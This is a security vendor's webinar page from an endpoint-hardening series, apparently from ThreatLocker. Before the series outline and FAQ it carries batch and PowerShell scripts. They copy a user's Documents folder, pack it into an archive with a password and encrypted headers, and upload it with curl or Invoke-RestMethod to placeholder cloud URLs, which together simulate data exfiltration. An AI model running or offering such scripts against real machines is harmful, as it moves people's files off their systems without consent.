This week’s session was packed with even more actionable strategies to help harden your environment.
(
echo My Music\
echo My Pictures\
echo My Videos\
echo My Documents\
echo Application Data\
echo Local Settings\
echo PrintHood\
echo NetHood\
echo Recent\
echo SendTo\
echo Start Menu\
echo Templates\
) > exclude.txt
xcopy "%USERPROFILE%\Documents" "%USERPROFILE%\Desktop\copy_of_documents" /E /I /H /Y /EXCLUDE:exclude.txt
del exclude.txt
tar -a -c -f "%USERPROFILE%\Desktop\copy_of_documents.zip" -C "%USERPROFILE%\Desktop" copy_of_documents
@echo off
REM Get the computer name
set "hostname=%COMPUTERNAME%"
REM Define the path to the ZIP file on the Desktop
set "filepath=%USERPROFILE%\Desktop\copy_of_documents.zip"
REM Check if the file exists
if not exist "%filepath%" (
echo File not found: %filepath%
pause
exit /b
)
REM Upload the file to the GCS bucket using the hostname as the folder name
REM Replace the following URL with your actual upload URL
set "Insert_URI_here"
REM Use curl to upload the file
curl -X POST -H "Content-Type: application/octet-stream" --data-binary "@%filepath%" "%upload_url%"
echo File 'copy_of_documents.zip' uploaded to folder '%hostname%' in Google Cloud Storage.
pause
Function UploadFile {
Param([string]$path)
Process {
# Generate timestamp and file name
$timestamp = Get-Date -Format 'yyyy-MM-dd_HH-mm-ss'
$original = [System.IO.Path]::GetFileName($path)
$hostname = $env:COMPUTERNAME
$name = "$hostname/$timestamp`_$original"
# Check if a placeholder exists
$checkUri = "Insert_URI_here"
$checkResponse = Invoke-RestMethod -Uri $checkUri -Method Get
if (-not $checkResponse.items) {
$placeholderUri = "Insert_URI_here"
Invoke-RestMethod -Method Post -Uri $placeholderUri -ContentType 'application/octet-stream' -Body ([byte[]]@())
}
# Upload the actual file
$uploadUri = "Insert_URI_here"
Invoke-RestMethod -Method Post -Uri $uploadUri -ContentType 'application/octet-stream' -InFile $path
}
}
# Define the file path
$file = Join-Path ([Environment]::GetFolderPath('Desktop')) 'copy of documents (zipped).7z'
# Try uploading the file
try {
UploadFile -path $file
} catch {
Write-Error "Upload failed: $_"
}
# Define paths
$zipUrl = "https://www.7-zip.org/a/7zr.exe"
$zipPath = "$env:USERPROFILE\Apps\7zip"
$sevenZip = "$zipPath\7zr.exe"
$original = "$env:USERPROFILE\Documents"
$tempCopy = "$env:USERPROFILE\Documents_Copy_For_Zip"
$out = "$env:USERPROFILE\Desktop\Copy of Documents (zipped).7z"
# Create 7-Zip directory if it doesn't exist
New-Item -ItemType Directory -Path $zipPath -Force | Out-Null
# Download 7zr.exe if not already present
if (-not (Test-Path $sevenZip)) {
Invoke-WebRequest -Uri $zipUrl -OutFile $sevenZip
}
# Add 7-Zip to PATH for this session
$env:PATH += ";$zipPath"
# Copy the original Documents folder to a temporary location
Copy-Item -Path $original -Destination $tempCopy -Recurse -Force
# Get all non-reparse (non-symlink) items in the copied folder
$items = Get-ChildItem -Path $tempCopy -Force -ErrorAction SilentlyContinue | Where-Object {
-not $_.Attributes.ToString().Contains("ReparsePoint")
}
# Compress each item in the copied folder
foreach ($item in $items) {
& $sevenZip a -t7z $out $item.FullName -ppw -mhe -snl
}
# Delete the temporary copy after successful archive
if (Test-Path $out) {
Remove-Item $tempCopy -Recurse -Force
} else {
Write-Host "Cannot find temp"
}
This webinar series is designed to be as technology-agnostic as possible. You don’t need ThreatLocker to participate, but it certainly helps.
If you want to follow along more easily, we’d be happy to help you get started with a ThreatLocker agent. Just book a demo to chat with a ThreatLocker Solutions Engineer and get a 30-day free trial to the entire ThreatLocker platform.
Download the week 12 checklist on this page to keep up with key tasks and harden your environment step by step.
You can get caught up here.
Access the additional downloadable resource that will help you make the most of this webinar.
Whether you're starting from zero or organizing an inherited environment, this tactical checklist will help you fully secure your environment step by step.
Week 1: Introduction
Week 2: Strengthen your defenses
Week 3: Analyzing endpoint behavior
Week 4: Access & identity controls
Week 5: Web filtering & application control
Week 6: Patching & backups
Week 7: Office 365 & cloud controls
Week 8: Harden your MAC environment
Week 9: Server hardening
Week 10: Security audits
Week 11: Incident response framework
Week 12: Policy hygiene & standardization
Week 13: File integrity & deception
Week 14: Configurations & compliance
Week 15: Series overview
There are 15 webinars, each approximately one hour long including an audience Q&A. If you put one webinar's recommendations per week, you will complete the series in approximately 100 days.
This series is for IT professionals ready to take control of their environment, whether you've just inherited one, are rebuilding from the ground up, or need to scale and secure what’s already in place.
No, you can implement the recommendations in all or only a few of the sessions, but we do recommend watching all of them in order, as we often build on the previous week's efforts.
No, the entire series, including the additional downloadable resources, is completely free.
Unfortunately, the badge was only available for people who attended the sessions live in May-August 2025.
Request your 30-day trial to the entire ThreatLocker platform today.
Try ThreatLocker